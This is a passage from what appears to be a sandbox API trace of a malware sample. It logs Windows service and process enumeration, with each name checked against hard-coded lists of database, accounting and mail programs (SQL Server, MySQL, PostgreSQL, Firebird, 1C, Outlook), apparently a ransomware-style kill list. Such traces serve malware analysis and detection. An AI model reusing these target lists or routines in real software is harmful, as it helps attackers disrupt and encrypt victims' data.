hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.625] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.625] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0051.625] CloseHandle (hObject=0x1f4) returned 1 [0051.625] Sleep (dwMilliseconds=0x1f4) [0052.515] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740060 [0052.516] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0052.516] GetLastError () returned 0xea [0052.516] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x123e) returned 0x4023080 [0052.516] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x123e, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0052.517] CloseServiceHandle (hSCObject=0x740060) returned 1 [0052.517] lstrlenW (lpString="Appinfo") returned 7 [0052.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.517] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.517] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.517] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.517] lstrlenW (lpString="AudioSrv") returned 8 [0052.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.517] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.517] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.517] lstrlenW (lpString="BFE") returned 3 [0052.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.517] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.518] lstrlenW (lpString="CryptSvc") returned 8 [0052.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.518] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.518] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.518] lstrlenW (lpString="CscService") returned 10 [0052.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.518] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.518] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.518] lstrlenW (lpString="DcomLaunch") returned 10 [0052.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.518] lstrlenW (lpString="Dhcp") returned 4 [0052.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.518] lstrlenW (lpString="Dnscache") returned 8 [0052.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.518] lstrlenW (lpString="DPS") returned 3 [0052.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.519] lstrlenW (lpString="eventlog") returned 8 [0052.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.519] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.519] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.519] lstrlenW (lpString="EventSystem") returned 11 [0052.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.519] lstrlenW (lpString="gpsvc") returned 5 [0052.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.519] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.519] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.519] lstrlenW (lpString="iphlpsvc") returned 8 [0052.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.519] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.519] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.519] lstrlenW (lpString="LanmanServer") returned 12 [0052.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.519] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.519] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.519] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.520] lstrlenW (lpString="lmhosts") returned 7 [0052.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.520] lstrlenW (lpString="MMCSS") returned 5 [0052.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.520] lstrlenW (lpString="MpsSvc") returned 6 [0052.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.520] lstrlenW (lpString="Netman") returned 6 [0052.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.520] lstrlenW (lpString="netprofm") returned 8 [0052.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.520] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.520] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.521] lstrlenW (lpString="NlaSvc") returned 6 [0052.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.521] lstrlenW (lpString="nsi") returned 3 [0052.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.521] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.521] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.521] lstrlenW (lpString="PcaSvc") returned 6 [0052.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.521] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.521] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.521] lstrlenW (lpString="PlugPlay") returned 8 [0052.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.521] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.521] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.521] lstrlenW (lpString="Power") returned 5 [0052.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.521] lstrlenW (lpString="ProfSvc") returned 7 [0052.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.521] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.521] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.522] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.522] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.522] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.522] lstrlenW (lpString="RpcSs") returned 5 [0052.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.522] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.522] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.522] lstrlenW (lpString="SamSs") returned 5 [0052.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.522] lstrlenW (lpString="Schedule") returned 8 [0052.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.522] lstrlenW (lpString="SENS") returned 4 [0052.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.522] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.522] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.522] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.522] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.522] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.523] lstrlenW (lpString="Spooler") returned 7 [0052.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.523] lstrlenW (lpString="SysMain") returned 7 [0052.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.523] lstrlenW (lpString="Themes") returned 6 [0052.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.523] lstrlenW (lpString="TrkWks") returned 6 [0052.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.523] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.523] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.523] lstrlenW (lpString="UxSms") returned 5 [0052.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.523] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.523] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.523] lstrlenW (lpString="VSS") returned 3 [0052.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.524] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.524] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.524] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.524] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.524] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.524] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.524] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.524] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.524] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.524] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.524] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.524] lstrlenW (lpString="Winmgmt") returned 7 [0052.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.524] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.524] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.524] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.524] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0052.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0052.527] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.527] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.528] lstrlenW (lpString="System") returned 6 [0052.528] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.528] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.528] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.528] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.528] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.528] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.528] lstrlenW (lpString="smss.exe") returned 8 [0052.528] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.528] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.528] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.528] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.528] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.528] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.529] lstrlenW (lpString="csrss.exe") returned 9 [0052.529] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.529] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.529] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.529] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.529] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.529] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.529] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.529] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.530] lstrlenW (lpString="wininit.exe") returned 11 [0052.530] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.530] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.530] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.530] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0052.530] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned 